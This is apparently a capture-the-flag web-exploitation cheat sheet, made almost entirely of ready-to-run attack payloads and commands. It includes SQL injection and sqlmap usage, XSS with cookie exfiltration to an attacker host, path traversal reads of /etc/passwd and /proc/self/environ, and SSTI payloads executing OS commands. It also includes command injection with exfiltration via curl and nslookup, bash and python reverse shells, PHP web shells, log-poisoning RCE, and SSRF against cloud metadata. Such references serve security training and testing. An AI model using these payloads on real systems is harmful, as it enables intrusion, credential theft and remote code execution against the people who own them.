# Baseline curl -i https://target/ curl -sI https://target/ # headers only curl -skv https://target/ 2>&1 | less # Save raw response curl -skD headers.txt -o body.bin https://target/ # Follow redirects + keep cookies curl -L -c cookies.txt -b cookies.txt https://target/ # Fingerprinting hints Server: X-Powered-By: Set-Cookie: CSP / CORS / HSTS Framework error pages Static asset names: app.js, main.[hash].js
# Hidden paths / common files curl https://target/robots.txt curl https://target/sitemap.xml curl https://target/.git/HEAD curl https://target/.env curl https://target/.DS_Store curl https://target/backup.zip curl https://target/config.php.bak curl https://target/server-status # JS recon curl -s https://target/app.js | grep -E "api|graphql|token|admin|debug" # Grep source for comments / flags / routes curl -s https://target/ | grep -niE "flag|ctf|todo|debug|secret|api"
# Directories ffuf -u https://target/FUZZ -w common.txt -fc 404 feroxbuster -u https://target -x php,txt,bak,zip # Parameters ffuf -u "https://target/page?FUZZ=test" -w params.txt # POST parameter fuzzing ffuf -X POST -u https://target/login \ -d "FUZZ=x&password=test" -H "Content-Type: application/x-www-form-urlencoded" \ -w params.txt # Host header / vhost ffuf -u https://target/ -H "Host: FUZZ.target" -w subdomains.txt curl -H "Host: admin.target" https://IP/
# Quotes / booleans ' / " / ') / ')) ' OR 1=1-- ' OR '1'='1'-- admin'-- ' OR 1=1# # MySQL # Column count ' ORDER BY 1-- ' ORDER BY 2-- # increase until error ' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- # String concat / DB id MySQL: CONCAT(user(),0x3a,database()) PostgreSQL: version() || ':' || current_database() SQLite: sqlite_version() MSSQL: system_user + ':' + db_name()
# Generic ' UNION SELECT table_name,NULL FROM information_schema.tables-- ' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- ' UNION SELECT username,password FROM users-- # SQLite ' UNION SELECT name,NULL FROM sqlite_master WHERE type='table'-- # Blind ' AND 1=1-- ' AND 1=2-- ' AND SUBSTR((SELECT password FROM users LIMIT 1),1,1)='a'-- # Time-based MySQL: ' AND SLEEP(5)-- PostgreSQL: ' AND pg_sleep(5)-- MSSQL: '; WAITFOR DELAY '0:0:5'--
sqlmap -u "http://target/item?id=1" --dbs sqlmap -r request.txt --batch --level 5 --risk 3 sqlmap -u URL --cookie "session=..." --dump sqlmap -r req.txt -p username --tamper space2comment,between sqlmap --technique=BTU # boolean, time, union sqlmap --sql-shell # Pitfalls Wrong content-type JSON body not form body Backend = SQLite → information_schema payloads fail
<script>alert(1)</script> <svg onload=alert(1)> <img src=x onerror=alert(1)> <details open ontoggle=alert(1)> <body onload=alert(1)> # Attribute context " autofocus onfocus=alert(1) x=" ' onmouseover=alert(1) ' # JS string context ';alert(1);// ";alert(1);// `-alert(1)-`
# Case / split / entities <ScRiPt>alert(1)</ScRiPt> <svg/onload=alert(1)> <img src=x onerror=confirm`1`> <script>alert(1)</script> # href / javascript: javascript:alert(1) data:text/html,<script>alert(1)</script> # DOM XSS sinks innerHTML outerHTML document.write location.hash postMessage jQuery.html()
# Cookie exfil (if not HttpOnly) fetch('https://attacker/?c='+document.cookie) # Read CSRF token from DOM document.querySelector('[name=csrf]').value # Same-origin admin actions fetch('/admin/delete?id=1',{credentials:'include'}) # Check CSP curl -I https://target/ | grep -i csp # Notes Stored XSS > reflected XSS Sometimes flag is in admin bot visit
../../../../etc/passwd ..%2f..%2f..%2fetc/passwd ..%252f..%252f..%252fetc/passwd ..\..\..\windows\win.ini ....//....//etc/passwd /etc/passwd # absolute path # Interesting files /etc/passwd /etc/hostname /proc/self/environ /proc/self/cmdline /var/www/html/index.php /var/log/nginx/access.log C:\Windows\win.ini
# Base64 source disclosure php://filter/convert.base64-encode/resource=index.php # read source with filter chain curl "https://target/?page=php://filter/convert.base64-encode/resource=config.php" # log poisoning → RCE curl -A "<?php system($_GET['cmd']); ?>" https://target/ curl "https://target/?page=/var/log/nginx/access.log&cmd=id" # session poisoning PHPSESSID file under /var/lib/php/sessions/
# Null byte old bypass (rare now) ../../etc/passwd%00 # Extension forced? Try: ../../etc/passwd/. php://filter/.../resource=index # When include() is used LFI may become RFI / code exec Template files often under views/ or templates/ # Base64 decode result python3 -c "import base64,sys;print(base64.b64decode(sys.stdin.read()).decode())"
# Generic probes {{7*7}} # Jinja2 / Twig ${7*7} # Freemarker / EL <%= 7*7 %> # ERB / EJS-like #{7*7} # Ruby interpolation contexts [[${7*7}]] # Thymeleaf # Result mapping 49 returned → likely expression eval Literal returned → probably escaped / wrong engine
{{config}} {{request}} {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} {{self.__init__.__globals__.__builtins__.__import__('os').popen('cat flag*').read()}} # Flask secrets / sessions SECRET_KEY may be in config / source / .env Use flask-unsign if cookie is signed not encrypted
sstimap -u "https://target/?name=*" tplmap -u "https://target/?name=foo" # Notes Look for emails, PDFs, preview pages, themed greetings Error pages often expose engine names SSTI often chained to file read / RCE
;id |id ||id &&id `id` $(id) # Windows & whoami | whoami # Blind ;sleep 5 & ping -n 6 127.0.0.1 # Windows
;cat flag.txt ;ls -la ;find / -name 'flag*' 2>/dev/null ;env ;python3 -c 'import os;print(os.listdir("."))' # Exfil in blind env ;curl https://attacker/$(whoami) ;nslookup $(cat /flag).attacker # Encoding / whitespace bypass ${IFS} %0a $() and backticks
# bash bash -c 'bash -i >& /dev/tcp/IP/4444 0>&1' # nc listener nc -lvnp 4444 # python python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("IP",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
# Login bypass admin'-- ' OR 1=1-- # Role toggles admin=true role=admin isAdmin=1 X-Admin: true X-Forwarded-For: 127.0.0.1 # IDOR /user/1 → /user/2 /api/orders/100 → 101 UUIDs in JS source / logs / predictable sequences
# Identify format JWT? # header.payload.sig Flask? # signed cookie PHPSESSID # server-side Base64? # try decode # Flask flask-unsign --decode --cookie "..." flask-unsign --unsign --cookie "..." --wordlist rockyou.txt # Signed ≠ encrypted Can read content even if cannot forge it
# Common issues Token reused Token predictable / timestamp-based User controlled email parameter No rate limiting on OTP 2FA code accepted multiple times Reset token leaked in response / logs / referer # Test Change victim user id / email in POST body Replay same request twice Use old token after password change
# Decode header.payload.signature base64url decode header/payload # Fields to inspect alg kid jku x5u sub role admin exp / nbf / iat # Typical CTF moves role=user → role=admin sub=guest → sub=admin
# alg:none Set header: {"alg":"none"} Drop signature if app accepts it # Weak secret brute force jwt_tool -C -d rockyou.txt -t TOKEN hashcat -m 16500 jwt.txt rockyou.txt # HS256 / RS256 confusion Public key used as HMAC secret on vulnerable apps # kid injection {"kid":"../../../../dev/null"} {"kid":"/proc/self/environ"}
python3 -c "import jwt;print(jwt.decode(TOKEN,options={'verify_signature':False}))" jwt_tool TOKEN jwt_tool TOKEN -S hs256 -p secret # Notes Base64url ≠ base64 Changing payload without resigning is useless unless none/weak key/vuln
# Works when Victim browser sends cookies automatically Action has no anti-CSRF or token can be stolen # Minimal PoC <form action="https://target/change-email" method="POST"> <input name="email" value="attacker@x"> </form> <script>document.forms[0].submit()</script> # GET CSRF <img src="https://target/delete?id=1">
curl -I https://target/api \ -H "Origin: https://evil.test" # Dangerous Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Reflecting arbitrary Origin # Browser note * + credentials is invalid, but reflected origin + credentials is bad
# postMessage Check origin validation window.addEventListener('message',...) # Clickjacking Missing X-Frame-Options / CSP frame-ancestors # SameSite cookies Lax / Strict / None None requires Secure Can explain why CSRF works or not
# Internal services http://127.0.0.1/ http://localhost/ http://[::1]/ http://169.254.169.254/ # cloud metadata http://127.1/ http://2130706433/ # 127.0.0.1 decimal http://0x7f000001/ # hex # Credentials in URL http://user@127.0.0.1/ http://127.0.0.1#evil.com
file:///etc/passwd gopher://127.0.0.1:6379/_INFO dict://127.0.0.1:11211/stats ftp://127.0.0.1/ # Cloud metadata AWS: http://169.254.169.254/latest/meta-data/ GCP: add header Metadata-Flavor: Google Azure: metadata endpoint requires header too
1. Confirm URL fetch exists avatar import PDF render webhook tester URL preview 2. Identify filtering Scheme blocked? hostname blocked? redirects followed? 3. Scan small internal ranges 127.0.0.1 localhost 172.17.0.1 10.0.0.1 4. Aim for read → creds → pivot
# Extension tricks shell.php shell.php.jpg shell.phtml shell.phar shell.php%20 shell.php%00.jpg # old/null-byte style # MIME tricks Content-Type: image/jpeg Magic bytes: GIF89a; then PHP payload # Filename issues ../../shell.php UTF-8 homoglyphs / double extensions
# PHP <?php system($_GET['cmd']); ?> # Polyglot gif/php GIF89a; <?php system($_GET['cmd']); ?> # Test execution curl "https://target/uploads/shell.php?cmd=id"
# Not executable? still useful
XXE via SVG
Stored XSS via HTML/SVG
Overwrite existing file
Read path disclosure in error messages
Image processing bugs / SSRF in URL importers
# Suspicious user-controlled blobs
base64 strings in cookies
remember-me tokens
Java serialized magic: ac ed 00 05
PHP serialized: O: or a:
Python pickle signs: gASV / c__builtin__
Node: signed JSON / prototype merge inputs
# PHP O:8:"stdClass":1:{...} # Java ysoserial payloads (if gadget chain exists) # Python pickle Never unpickle attacker input # CTF reality Often challenge gives custom class with __wakeup / __destruct / readObject logic
# Node / JS object merges {"__proto__":{"admin":true}} {"constructor":{"prototype":{"isAdmin":true}}} # Effects Privilege bypass Template gadget → XSS / RCE Config overwrite
# Toggle content types application/json application/x-www-form-urlencoded multipart/form-data # Common bugs Mass assignment role / isAdmin fields accepted silently Numeric vs string confusion Missing auth on hidden endpoints Method confusion: GET/POST/PUT/PATCH/DELETE
# Discovery /graphql /graphiql /playground # Introspection {"query":"{__schema{types{name}}}"} # Notes Look for mutations without auth Nested objects may leak fields Aliases can bypass naive rate limits
# Manual inspect Burp / websocat # Things to test No auth on ws endpoint Auth only on connect, not per action Action names / room IDs predictable JSON message injection / admin event names
Headers to test: Host X-Forwarded-Host X-Original-URL X-Rewrite-URL Look for reflected header in cached page.
Advanced / infra-dependent. Check CL.TE / TE.CL inconsistencies. Mostly worth it only if challenge hints proxy chain.
Send same request in parallel: redeem coupon twice reset password + login buy item with negative balance Use Turbo Intruder / parallel curl.
1. Fingerprint Headers, cookies, framework hints, JS routes, hidden files 2. Enumerate Endpoints, parameters, verbs, subdomains, API schema, static JS 3. Test every input class SQLi ' XSS <svg onload=alert(1)> SSTI {{7*7}} LFI ../../etc/passwd Cmdi ;id SSRF http://127.0.0.1/ IDOR id++ 4. Attack state Cookies, JWT, reset flows, role fields, hidden admin endpoints 5. Automate Burp Repeater → Intruder / Turbo Intruder / ffuf / sqlmap / simple Python requests script 6. Re-read responses carefully Length diff, redirects, stack traces, timestamps, leaked paths, subtle JSON booleans